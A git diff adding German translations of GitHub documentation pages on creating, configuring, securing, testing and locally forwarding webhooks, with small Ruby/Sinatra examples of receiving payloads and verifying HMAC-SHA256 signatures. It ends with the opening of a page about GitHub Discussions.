--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/webhooks/configuring-your-server-to-receive-payloads.md
@@ -0,0 +1,66 @@
+---
+title: Konfigurieren des Servers zum Empfangen von Payloads
+intro: 'Hier erfährst du, wie du einen Server einrichtest, um eingehende Webhooknutzlasten zu verwalten.'
+redirect_from:
+  - /webhooks/configuring
+  - /developers/webhooks-and-events/configuring-your-server-to-receive-payloads
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Webhooks
+shortTitle: Configure server for webhooks
+ms.openlocfilehash: c306cadf4dd8d9cd573d694419a51179c8995797
+ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/04/2022
+ms.locfileid: '148132982'
+---
+Nachdem unser Webhook bereit ist, Nachrichten zu übermitteln, richten wir einen grundlegenden Sinatra-Server ein, um eingehende Payloads zu verarbeiten.
+
+{% note %}
+
+**Hinweis**: Du kannst den vollständigen Quellcode für dieses Projekt [aus dem Repository mit den Plattformbeispielen][platform samples] herunterladen.
+
+{% endnote %}
+
+## Schreiben des Servers
+
+Wir möchten, dass unser Server unter `/payload` auf `POST`-Anforderungen lauscht, da wir GitHub mitgeteilt haben, dass sich dort unsere Webhook-URL befindet. Da wir `ngrok` verwenden, um unsere lokale Umgebung verfügbar zu machen, müssen wir keinen echten Server irgendwo online einrichten und können unseren Code einfach lokal testen.
+
+Richten wir eine kleine Sinatra-App ein, damit etwas mit den Informationen passiert. Die erste Einrichtung könnte ungefähr so aussehen:
+
+``` ruby
+require 'sinatra'
+require 'json'
+
+post '/payload' do
+  push = JSON.parse(request.body.read)
+  puts "I got some JSON: #{push.inspect}"
+end
+```
+
+(Wenn du nicht mit der Funktionsweise von Sinatra vertraut bist, solltest du den [Sinatra-Leitfaden][Sinatra] lesen.)
+
+Starte diesen Server.
+
+Da wir unseren Webhook so eingerichtet haben, dass er auf Ereignisse zu `Issues` lauscht, erstelle ein neues Issue in dem Repository, mit dem du testest. Wechsle nach der Erstellung wieder zum Terminal. In der Ausgabe sollte etwa Folgendes angezeigt werden:
+
+```shell
+$ ~/Developer/platform-samples/hooks/ruby/configuring-your-server $ ruby server.rb
+> == Sinatra/1.4.4 has taken the stage on 4567 for development with backup from Thin
+> >> Thin web server (v1.5.1 codename Straight Razor)
+> >> Maximum connections set to 1024
+> >> Listening on localhost:4567, CTRL+C to stop
+> I got some JSON: {"action"=>"opened", "issue"=>{"url"=>"...
+```
+
+Erfolg! Du hast deinen Server erfolgreich so konfiguriert, dass er auf Webhooks lauscht. Dein Server kann diese Informationen jetzt auf jede Weise verarbeiten, die dir gefällt. Wenn du beispielsweise eine echte Webanwendung einrichtest, kann es sinnvoll sein, die JSON-Ausgabe in einer Datenbank zu protokollieren.
+
+Weitere Informationen zum Arbeiten mit Webhooks – ob beruflich oder rein aus Spaß – findest du im Leitfaden zum [Testen von Webhooks](/webhooks/testing).
+
+[platform samples]: https://github.com/github/platform-samples/tree/master/hooks/ruby/configuring-your-server
+[Sinatra]: http://www.sinatrarb.com/
diff --git a/translations/de-DE/content/developers/webhooks-and-events/webhooks/creating-webhooks.md b/translations/de-DE/content/developers/webhooks-and-events/webhooks/creating-webhooks.md
new file mode 100644
index 0000000000..6483769f3b
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/webhooks/creating-webhooks.md
@@ -0,0 +1,100 @@
+---
+title: Erstellen von Webhooks
+intro: 'Erfahre, wie du einen Webhook erstellst, indem du die Ereignisse auswählst, die dein Webhook auf {% data variables.product.prodname_dotcom %} und wie du einen Server einrichtest, um die Webhook-Nutzlast zu empfangen und zu verwalten.'
+redirect_from:
+  - /webhooks/creating
+  - /developers/webhooks-and-events/creating-webhooks
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Webhooks
+ms.openlocfilehash: ced763e71ecc9f99d8dd5037dcdb6d87cfdba91d
+ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/04/2022
+ms.locfileid: '148132971'
+---
+Nachdem wir uns mit den [Grundlagen von Webhooks][webhooks-overview] vertraut gemacht haben, gehen wir nun den Prozess durch, der zum Ausbauen unserer eigenen webhookunterstützten Integration erforderlich ist. In diesem Tutorial erstellen wir einen Repositorywebhook, der die Popularität unseres Repositorys basierend auf der Anzahl der pro Tag eingehenden Issues auflistet.
+
+Die Erstellung eines Webhooks erfolgt in zwei Schritten. Du musst zunächst festlegen, an welche Ereignisse dein Webhook lauschen soll. Anschließend musst du deinen Server für Empfang und Verwaltung der Nutzdaten einrichten.
+
+
+{% data reusables.webhooks.webhooks-rest-api-links %}
+
+## Verfügbarmachen des Localhosts im Internet
+
+Im Rahmen dieses Tutorials verwenden wir einen lokalen Server, um Webhookereignisse von {% data variables.product.prodname_dotcom %} zu empfangen. 
+
+Zunächst müssen wir unsere lokale Entwicklungsumgebung im Internet verfügbar machen, damit {% data variables.product.prodname_dotcom %} Ereignisse liefern kann. Wir verwenden dazu [`ngrok`](https://ngrok.com).
+
+{% ifversion cli-webhook-forwarding %} {% note %}
+
+**Hinweis:** Alternativ kannst du die Webhookweiterleitung verwenden, um deine lokale Umgebung für den Empfang von Webhooks einzurichten. Weitere Informationen finden Sie unter [Empfangen von Webhooks mit der GitHub CLI](/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli).
+
+{% endnote %} {% endif %}
+
+`ngrok` ist kostenlos für alle gängigen Betriebssysteme verfügbar. Weitere Informationen findest du auf der [`ngrok`-Downloadseite](https://ngrok.com/download).
+
+Nach der Installation von `ngrok` kannst du deinen Localhost verfügbar machen, indem du über die Befehlszeile `./ngrok http 4567` ausführst. `4567` ist die Portnummer, auf der unser Server auf Meldungen lauscht. Du solltest eine Zeile sehen, die wie folgt aussieht:
+
+```shell
+$ Forwarding  http://7e9ea9dc.ngrok.io -> 127.0.0.1:4567
+```
+
+Notiere dir die `*.ngrok.io`-URL. Wir werden sie für die Einrichtung des Webhooks verwenden.
+
+## Einrichten eines Webhooks
+
+Du kannst Webhooks in einer Organisation oder in einem bestimmten Repository installieren.
+
+Zum Einrichten eines Webhooks gehe zur Einstellungsseite des Repositorys oder der Organisation. Klicke von dort aus auf **Webhooks** und dann auf **Webhook hinzufügen**.
+
+Alternativ kannst du einen Webhook [über die Webhook-API erstellen und verwalten][webhook-api].
+
+Bevor du Webhooks verwenden kannst, sind einige Konfigurationsoptionen für sie erforderlich. Diese Einstellungen werden im Folgenden einzeln erläutert.
+
+## URL der Nutzlast
+
+{% data reusables.webhooks.payload_url %}
+
+Da die Entwicklung lokal für das Tutorial erfolgt, legen wir die `*.ngrok.io`-URL fest, gefolgt von `/payload`. Beispiel: `http://7e9ea9dc.ngrok.io/payload`.
+
+## Inhaltstyp
+
+{% data reusables.webhooks.content_type %} Für dieses Tutorial ist der Standardinhaltstyp `application/json` in Ordnung.
+
+## `Secret`
+
+{% data reusables.webhooks.secret %}
+
+## SSL-Überprüfung
+
+{% data reusables.webhooks.webhooks_ssl %}
+
+## Aktiv
+
+Webhookzustellungen sind standardmäßig „Aktiv“. Du kannst die Zustellung von Webhooknutzdaten während der Entwicklung deaktivieren, indem du die Auswahl von „Aktiv“ aufhebst.
+
+## Ereignisse
+
+Ereignisse sind das Kernstück von Webhooks. Diese Webhooks werden ausgelöst, wenn eine bestimmte Aktion im Repository ausgeführt wird. Die Nutzdaten-URL des Servers fängt diese ab und reagiert darauf.
+
+Eine vollständige Liste der Webhookereignisse und Informationen dazu, wann diese ausgeführt werden, findest du in der Referenz zur [Webhooks-API][hooks-api].
+
+Da der Webhook Issues in einem Repository behandelt, klicken wir auf **Einzelne Ereignisse auswählen** und dann auf **Issues**. Stelle sicher, dass zum Empfangen von Problemereignissen für ausgelöste Webhooks **Aktiv** ausgewählt ist. Du kannst auch alle Ereignisse mithilfe der Standardoption auswählen.
+
+Wenn du fertig bist, klicke auf **Webhook hinzufügen**. 
+
+Nachdem du den Webhook erstellt hast, ist es an der Zeit, den lokalen Server einzurichten, um den Webhook zu testen. Navigiere zu [Konfigurieren des Servers](/webhooks/configuring/), um zu erfahren, wie du dabei vorgehen musst.
+
+### Platzhalterereignis
+
+Zum Konfigurieren eines Webhooks für alle Ereignisse verwende das Platzhalterzeichen (`*`), um die Webhookereignisse anzugeben. Wenn du das Platzhalterereignis hinzufügst, ersetzen wir alle vorhandenen Ereignisse, die du mit dem Platzhalterereignis konfiguriert hast, und senden dir Nutzdaten für alle unterstützten Ereignisse zu. Außerdem erhältst du automatisch alle neuen Ereignisse, die wir in Zukunft hinzufügen.
+
+[webhooks-overview]: /webhooks/
+[webhook-api]: /rest/reference/repos#hooks
+[hooks-api]: /webhooks/#events
diff --git a/translations/de-DE/content/developers/webhooks-and-events/webhooks/index.md b/translations/de-DE/content/developers/webhooks-and-events/webhooks/index.md
new file mode 100644
index 0000000000..a51e66752e
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/webhooks/index.md
@@ -0,0 +1,26 @@
+---
+title: webhooks
+intro: 'Hier erfährst du, wie du Webhooks zur Integration in {% data variables.product.prodname_dotcom %} einrichten, testen und sichern kannst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Webhooks
+children:
+  - /about-webhooks
+  - /creating-webhooks
+  - /configuring-your-server-to-receive-payloads
+  - /testing-webhooks
+  - /securing-your-webhooks
+  - /receiving-webhooks-with-the-github-cli
+  - /webhook-events-and-payloads
+ms.openlocfilehash: a73820b100e94caa7c5eabe2f01a4814fe0df2a3
+ms.sourcegitcommit: 6b1c6174d0df40c90edfd7526496baabb1dd159d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/04/2022
+ms.locfileid: '148132955'
+---
+
diff --git a/translations/de-DE/content/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli.md b/translations/de-DE/content/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli.md
new file mode 100644
index 0000000000..d3f9926464
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/webhooks/receiving-webhooks-with-the-github-cli.md
@@ -0,0 +1,52 @@
+---
+title: Empfangen von Webhooks mit der GitHub CLI
+intro: 'Du kannst die {% data variables.product.prodname_cli %} verwenden, um Webhooks in deiner Entwicklungsumgebung ohne die Komplexität der Portweiterleitung oder Tools von Drittanbietern zu testen.'
+versions:
+  feature: cli-webhook-forwarding
+topics:
+  - Webhooks
+shortTitle: Receiving webhooks with the GitHub CLI
+ms.openlocfilehash: 11bc5b476a191a61594cb73f1e6ce1be5bb6cf9b
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160664'
+---
+## Informationen zum Empfangen von Webhooks mit {% data variables.product.prodname_cli %}
+
+{% note %}
+
+**Hinweis:** Der Empfang von Webhooks mit der {% data variables.product.prodname_cli %} befindet sich derzeit in der eingeschränkten öffentlichen Betaphase und kann sich noch ändern. Wenn du dich für die Betaversion registrieren möchtest, antworte in unserer GitHub-Community-[Diskussion](https://github.com/orgs/community/discussions/38261). Möglicherweise dauert es etwas, bis du hinzugefügt wirst. Du erhältst eine E-Mail-Benachrichtigung, sobald du der Betaversion hinzugefügt wurdest.
+
+{% endnote %}
+
+Wenn du Änderungen am Integrationscode vornimmst, kannst den Code in einer lokalen Umgebung ausführen, um ihn schnell zu testen und zu durchlaufen, ohne den Code bereitstellen zu müssen. Du kannst {% data variables.product.prodname_cli %} verwenden, um Webhooks an deine lokale Umgebung weiterzuleiten.
+
+{% note %}
+
+**Hinweis:** Die Webhookweiterleitung im {% data variables.product.prodname_cli %} funktioniert nur mit Repository- und Organisationswebhooks. Wenn Webhooks für Sponsoring, für die GitHub-App, für Unternehmen oder den Marketplace lokal testen möchtest, musst du dies manuell tun. Weitere Informationen findest du unter [Erstellen von Webhooks](/developers/webhooks-and-events/webhooks/creating-webhooks).
+
+{% endnote %}
+
+## Empfangen von Webhooks mit {% data variables.product.prodname_cli %}
+
+{% data reusables.cli.cli-learn-more %}
+
+1. Verwende den Unterbefehl `extension install`, um die {% data variables.product.prodname_cli %}-Erweiterung zu installieren, um die Webhookweiterleitung zu aktivieren. 
+
+   ```sh
+   gh extension install cli/gh-webhook
+   ```
+
+
+1. Starte die Anwendung lokal, und beachte dabei die URL, wo die Webhooks empfangen werden sollen. In diesem Leitfaden wird davon ausgegangen, dass deine Anwendung bei `http://localhost:3000/webhook` auf Webhookereignisse lauscht.
+
+1. Führe den Unterbefehl `webhook forward` aus, um Webhooks einzurichten, die an deine Anwendung übermittelt werden sollen. Ersetze `REPOSITORY` durch den Namen deines Repositorys. Beispiel: `monalisa/octocat`. Ersetze `EVENTS` durch eine durch Trennzeichen getrennte Liste der Ereignisse, die du empfangen möchtest. Beispiel: `issues,pull_request`. Ersetze `URL` durch die lokale URL, in der deine Anwendung Webhooks empfängt. Beispiel: `"http://localhost:3000/webhook"`.  Ersetze das `--repo`-Flag durch das `--org`-Flag, um an Organisationswebhooks anstelle von Repositorywebhooks zu lauschen. Beispiel: `--org="octo-org"`.
+
+
+   ```sh
+   gh webhook forward --repo=REPOSITORY --events=EVENTS --url=URL
+   ```
+
+  Lasse den Befehl im Hintergrund weiterhin laufen. So werden alle angegebenen Ereignisse für das angegebene Repository empfangen. Diese werden dann an deinen Webhookhandler weitergeleitet, der unter der angegebenen URL ausgeführt wird.
diff --git a/translations/de-DE/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md b/translations/de-DE/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md
new file mode 100644
index 0000000000..0538dd441a
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md
@@ -0,0 +1,96 @@
+---
+title: Sichern deiner Webhooks
+intro: 'Stelle aus Sicherheitsgründen sicher, dass dein Server nur die erwarteten Anforderungen von {% data variables.product.prodname_dotcom %} erhält.'
+redirect_from:
+  - /webhooks/securing
+  - /developers/webhooks-and-events/securing-your-webhooks
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Webhooks
+ms.openlocfilehash: c3597365ae7cf9f96375201d6938c4f6675a8eae
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147707479'
+---
+Sobald dein Server für das Erhalten von Nutzdaten konfiguriert ist, lauscht dieser auf jegliche Nutzdaten, die zu dem von dir konfigurierten Endpunkt gesendet werden. Aus Sicherheitsgründen solltest du ausschließlich Anforderungen von GitHub zulassen. Dafür gibt es verschiedene Möglichkeiten. Beispielsweise kannst du bestimmen, dass nur Anforderungen von der IP-Adresse von GitHub angenommen werden. Es ist jedoch weitaus einfacher, ein geheimes Token einzurichten und die Informationen zu überprüfen.
+
+{% data reusables.webhooks.webhooks-rest-api-links %}
+
+## Einrichten des geheimen Tokens
+
+Du musst dein geheimes Token an zwei Orten einrichten: auf GitHub und auf deinem Server.
+
+So richtest du dein Token auf GitHub ein:
+
+1. Navigiere zu dem Repository, in dem du den Webhook einrichtest.
+2. Fülle das Textfeld „Geheimnis“ aus. Verwende eine zufällige Zeichenfolge mit hoher Entropie, z. B. durch die Ausgabe von `ruby -rsecurerandom -e 'puts SecureRandom.hex(20)'` am Terminal.
+![Das Feld für das geheime Token des Webhooks](/assets/images/webhook_secret_token.png)
+3. Klicke auf **Webhook aktualisieren**.
+
+Richte als Nächstes eine Umgebungsvariable auf deinem Server ein, die dieses Token speichert. Dazu musst du in der Regel nur Folgendes ausführen:
+
+```shell
+$ export SECRET_TOKEN=<em>your_token</em>
+```
+
+Du solltest das Token **niemals** in deine App hartcodieren.
+
+## Überprüfen von GitHub-Nutzlasten
+
+Wenn dein geheimes Token eingerichtet ist, wird es von {% data variables.product.product_name %} verwendet, um eine Hashsignatur für alle Nutzdaten zu erstellen. Diese Hashsignatur ist in den Headern jeder Anforderung als `x-hub-signature-256` enthalten.
+
+{% ifversion fpt or ghes or ghec %} {% note %}
+
+**Hinweis:** Aus Gründen der Abwärtskompatibilität fügen wir auch den `x-hub-signature`-Header ein, der mithilfe der SHA-1-Hashfunktion generiert wird. Wenn möglich, solltest du den `x-hub-signature-256`-Header verwenden, um mehr Sicherheit zu gewährleisten. Im Beispiel unten wird die Verwendung des `x-hub-signature-256`-Headers veranschaulicht.
+
+{% endnote %} {% endif %}
+
+Wenn du beispielsweise über einen einfachen Server verfügst, der auf Webhooks lauscht, kann er folgendermaßen konfiguriert sein:
+
+``` ruby
+require 'sinatra'
+require 'json'
+
+post '/payload' do
+  request.body.rewind
+  push = JSON.parse(request.body.read)
+  "I got some JSON: #{push.inspect}"
+end
+```
+
+Mithilfe deines `SECRET_TOKEN` soll ein Hash berechnet und sichergestellt werden, dass das Ergebnis mit dem Hash von {% data variables.product.product_name %} übereinstimmt. {% data variables.product.product_name %} verwendet einen HMAC-Digest mit hexadezimalen Ziffern, um den Hash zu berechnen, sodass du deinen Server so neu konfigurieren können, dass er wie folgt aussieht:
+
+``` ruby
+post '/payload' do
+  request.body.rewind
+  payload_body = request.body.read
+  verify_signature(payload_body)
+  push = JSON.parse(payload_body)
+  "I got some JSON: #{push.inspect}"
+end
+
+def verify_signature(payload_body)
+  signature = 'sha256=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), ENV['SECRET_TOKEN'], payload_body)
+  return halt 500, "Signatures didn't match!" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE_256'])
+end
+```
+
+{% note %}
+
+**Hinweis:** Webhook-Nutzdaten können Unicode-Zeichen enthalten. Wenn deine Sprach- und Serverimplementierung eine Zeichencodierung angibt, musst du sicherstellen, dass diese Nutzdaten als UTF-8 behandelt werden.
+
+{% endnote %}
+
+Deine Sprach- und Serverimplementierungen können sich von denen in diesem Beispielcode unterscheiden. Einige wichtige Dinge solltest du jedoch beachten:
+
+* Unabhängig von der verwendeten Implementierung beginnt die Hashsignatur mit `sha256=` und verwendet den Schlüssel deines geheimen Tokens sowie deinen Nutzdatentext.
+
+* Die Verwendung eines einfachen `==`-Operators wird **nicht empfohlen**. Eine Methode wie [`secure_compare`][secure_compare] führt einen „constant time“-Zeichenfolgenvergleich durch, wodurch bestimmte Zeitangriffe gegen Gleichheitsoperatoren verringert werden.
+
+[secure_compare]: https://rubydoc.info/github/rack/rack/main/Rack/Utils:secure_compare
diff --git a/translations/de-DE/content/developers/webhooks-and-events/webhooks/testing-webhooks.md b/translations/de-DE/content/developers/webhooks-and-events/webhooks/testing-webhooks.md
new file mode 100644
index 0000000000..cc58edf704
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/webhooks/testing-webhooks.md
@@ -0,0 +1,47 @@
+---
+title: Testen von Webhooks
+intro: 'Überprüfe deine Webhookübermittlungen auf {% data variables.product.prodname_dotcom %} einschließlich HTTP-Anforderung und Nutzlast sowie der Antwort.'
+redirect_from:
+  - /webhooks/testing
+  - /developers/webhooks-and-events/testing-webhooks
+  - /articles/testing-webhooks
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Webhooks
+ms.openlocfilehash: 5b9287030169ecac751b407ad915d4fa69bf8182
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145996217'
+---
+Nachdem du deinen [lokalen Server konfiguriert hast](/webhooks/configuring/), möchtest du vielleicht die Grenzen deines Codes austesten. Zu diesem Zweck bietet die Webhookansicht von GitHub einige Tools zum Testen deiner bereitgestellten Nutzdaten.
+
+## Auflisten der letzten Übermittlungen
+
+Jeder Webhook verfügt über einen eigenen Abschnitt „Letzte Übermittlungen“, der auf einen Blick zeigt, ob eine Übermittlung erfolgreich war (grünes Häkchen) oder fehlgeschlagen ist (rotes X). Du kannst auch feststellen, wann die einzelnen Übermittlungsversuche stattgefunden haben.
+
+{% data variables.product.product_name %} speichert ein Protokoll jeder Webhookübermittlung für {% ifversion fpt or ghec %} 30 {% else %} 8 {% endif %}Tage.
+
+![Ansicht „Aktuelle Übermittlungen“](/assets/images/webhooks_recent_deliveries.png)
+
+## Untersuchen der Ergebnisse
+
+Indem du eine einzelne Übermittlung erweiterst, kannst du *genau* sehen, welche Informationen GitHub an deinen Server zu senden versucht. Dies schließt sowohl die HTTP-Anforderung als auch die Antwort ein.
+
+### Anforderung
+
+Die Ansicht zur Webhookübermittlung gibt Auskunft darüber, welche Header von GitHub gesendet wurden.
+Sie enthält außerdem Details zu den JSON-Nutzdaten.
+
+![Anzeigen einer Nutzdatenanforderung](/assets/images/payload_request_tab.png)
+
+### Antwort
+
+Die Registerkarte „Antwort“ zeigt, wie dein Server geantwortet hat, nachdem er die Nutzdaten von GitHub empfangen hat. Dies schließt den Statuscode, die Header und alle zusätzlichen Daten innerhalb des Antworttexts ein.
+
+![Anzeigen einer Nutzlastantwort](/assets/images/payload_response_tab.png)
diff --git a/translations/de-DE/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md b/translations/de-DE/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
new file mode 100644
index 0000000000..fdfc96b388
--- /dev/null
+++ b/translations/de-DE/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
@@ -0,0 +1,100 @@
+---
+title: Webhook events and payloads
+intro: 'Learn about when each webhook event occurs and what the payload contains.'
+product: '{% data reusables.gated-features.enterprise_account_webhooks %}'
+redirect_from:
+  - /early-access/integrations/webhooks
+  - /v3/activity/events/types
+  - /webhooks/event-payloads
+  - /developers/webhooks-and-events/webhook-events-and-payloads
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Webhooks
+shortTitle: Webhook events & payloads
+---
+
+{% data reusables.webhooks.webhooks_intro %}
+
+You can create webhooks that subscribe to the events listed on this page. Each webhook event includes a description of the webhook properties and an example payload. For more information, see "[Creating webhooks](/webhooks/creating/)."
+
+## Webhook payload object common properties
+
+Each webhook event payload also contains properties unique to the event. You can find the unique properties in the individual event type sections.
+
+Key | Type | Description
+----|------|-------------
+`action` | `string` | Most webhook payloads contain an `action` property that contains the specific activity that triggered the event.
+{% data reusables.webhooks.sender_desc %} This property is included in every webhook payload.
+{% data reusables.webhooks.repo_desc %} Webhook payloads contain the `repository` property when the event occurs from activity in a repository.
+{% data reusables.webhooks.org_desc %}
+{% data reusables.webhooks.app_desc %} For more information, see "[Building {% data variables.product.prodname_github_app %}](/apps/building-github-apps/)."
+
+The unique properties for a webhook event are the same properties you'll find in the `payload` property when using the [Events API](/rest/reference/activity#events). One exception is the [`push` event](#push). The unique properties of the `push` event webhook payload and the `payload` property in the Events API differ. The webhook payload contains more detailed information.
+
+{% tip %}
+
+**Note:** Payloads are capped at 25 MB. If your event generates a larger payload, a webhook will not be fired. This may happen, for example, on a `create` event if many branches or tags are pushed at once. We suggest monitoring your payload size to ensure delivery.
+
+{% endtip %}
+
+### Delivery headers
+
+HTTP POST payloads that are delivered to your webhook's configured URL endpoint will contain several special headers:
+
+Header | Description
+-------|-------------|
+`X-GitHub-Event`| Name of the event that triggered the delivery.
+`X-GitHub-Delivery`| A [GUID](http://en.wikipedia.org/wiki/Globally_unique_identifier) to identify the delivery.{% ifversion ghes or ghae %}
+`X-GitHub-Enterprise-Version` | The version of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.
+`X-GitHub-Enterprise-Host` | The hostname of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.{% endif %}{% ifversion not ghae %}
+`X-Hub-Signature`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-1 hash function and the `secret` as the HMAC `key`.{% ifversion fpt or ghes or ghec %} `X-Hub-Signature` is provided for compatibility with existing integrations, and we recommend that you use the more secure `X-Hub-Signature-256` instead.{% endif %}{% endif %}
+`X-Hub-Signature-256`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-256 hash function and the `secret` as the HMAC `key`.
+
+Also, the `User-Agent` for the requests will have the prefix `GitHub-Hookshot/`.
+
+### Example delivery
+
+```shell
+> POST /payload HTTP/2
+
+> Host: localhost:4567
+> X-GitHub-Delivery: 72d3162e-cc78-11e3-81ab-4c9367dc0958{% ifversion ghes or ghae %}
+> X-GitHub-Enterprise-Version: 2.15.0
+> X-GitHub-Enterprise-Host: example.com{% endif %}{% ifversion not ghae %}
+> X-Hub-Signature: sha1=7d38cdd689735b008b3c702edd92eea23791c5f6{% endif %}
+> X-Hub-Signature-256: sha256=d57c68ca6f92289e6987922ff26938930f6e66a2d161ef06abdf1859230aa23c
+> User-Agent: GitHub-Hookshot/044aadd
+> Content-Type: application/json
+> Content-Length: 6615
+> X-GitHub-Event: issues
+
+> {
+>   "action": "opened",
+>   "issue": {
+>     "url": "{% data variables.product.api_url_pre %}/repos/octocat/Hello-World/issues/1347",
+>     "number": 1347,
+>     ...
+>   },
+>   "repository" : {
+>     "id": 1296269,
+>     "full_name": "octocat/Hello-World",
+>     "owner": {
+>       "login": "octocat",
+>       "id": 1,
+>       ...
+>     },
+>     ...
+>   },
+>   "sender": {
+>     "login": "octocat",
+>     "id": 1,
+>     ...
+>   }
+> }
+```
+
+<!-- Content after this section is automatically generated -->
diff --git a/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md b/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md
new file mode 100644
index 0000000000..9dd44cc8a3
--- /dev/null
+++ b/translations/de-DE/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md
@@ -0,0 +1,78 @@
+---
+title: Informationen zu Diskussionen
+intro: 'Du kannst in Diskussionen Fragen stellen und beantworten, Informationen freigeben, Ankündigungen tätigen und an Unterhaltungen über ein Projekt auf {% data variables.product.product_name %} teilnehmen.'
+versions:
+  feature: discussions
+ms.openlocfilehash: 4ac74c35b34310b62595bd5ac9a5588a7ef3476a
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '147886950'
+---
+## Informationen zu {% data variables.product.prodname_discussions %}
+
+Mit {% data variables.product.prodname_discussions %} kann die Community für dein Projekt Unterhaltungen im Repository oder in der Organisation des Projekts erstellen und daran teilnehmen. Diskussionen ermöglichen es den Maintainern, Mitwirkenden und Besuchern eines Projekts, die folgenden Ziele ohne Tools von Drittanbietern an einem zentralen Ort zu erfassen und zu erreichen.
+
+- Freigeben von Ankündigungen und Informationen, Erfassen von Feedback, Planen und Treffen von Entscheidungen
+- Stellen von Fragen, Erörtern und Beantworten der Fragen und Kennzeichnen von Diskussionen als „Beantwortet“
+- Erstellen von Umfragen zum Sondieren der Community-Meinung
+- Fördern einer einladenden Atmosphäre für Besucher und Mitwirkende zur Erörterung von Zielen, Entwicklung, Verwaltung und Workflows
+
+![Registerkarte „Diskussionen“ für ein Repository](/assets/images/help/discussions/hero.png)
+
+Mittels Repositorydiskussionen kannst du Themen erörtern, die für das Repository spezifisch sind. Wenn dein Projekt mehrere Repositorys umfasst, kannst du mittels Organisationsdiskussionen Themen erörtern, die nicht für einzelne Repositorys in deiner Organisation spezifisch sind.
+
+Du musst eine Diskussion nicht schließen wie einen Issue oder Pull Request.
+
+Wenn ein Repositoryadministrator oder Projektmaintainer {% data variables.product.prodname_discussions %} für ein Repository aktiviert, können alle Personen mit Zugriff auf das Repository Diskussionen für das Repository erstellen und daran teilnehmen. Wenn ein Organisationsbesitzer {% data variables.product.prodname_discussions %} für eine Organisation aktiviert, kann jeder, der das Quellrepository anzeigen kann, eine Organisationsdiskussion erstellen.
+
+Repositoryadministratoren und Projektmaintainer können Diskussionen und Diskussionskategorien in einem Repository verwalten und Diskussionen anheften, um die Sichtbarkeit der Diskussion zu erhöhen. Moderatoren und Projektmitarbeiter können Kommentare als Antworten kennzeichnen, Diskussionen sperren und Issues in Diskussionen konvertieren. Genauso bestimmt die Rolle eines Benutzers im Quellrepository, wie er mit Organisationsdiskussionen interagieren kann. Weitere Informationen findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
+
+Weitere Informationen zur Verwaltung von Diskussionen findest du unter „[Verwalten von Diskussionen](/discussions/managing-discussions-for-your-community/managing-discussions)“.
+
+## Informationen zu Umfragen
+
+Du kannst Umfragen in der Kategorie „Umfragen“ erstellen, um das Interesse an neuen Ideen und der Projektrichtung zu sondieren. Alle Personen mit Lesezugriff auf dein Repository können Umfragen erstellen, an Umfragen teilnehmen und deren Ergebnisse einsehen.{% ifversion fpt or ghec %} Abgemeldete Benutzer können die Ergebnisse von Umfragen in öffentlichen Repositorys einsehen.{% endif %}
+
+Umfragen erfordern eine Frage und mindestens zwei Optionen. Du kannst maximal acht Optionen hinzufügen, und die Optionen können maximal 128 Zeichen enthalten. 
+
+Wähler können die von ihnen abgegebene Stimme nicht ändern. Durch das Bearbeiten einer Umfrage werden alle bereits abgegebenen Stimmen zurückgesetzt.
+
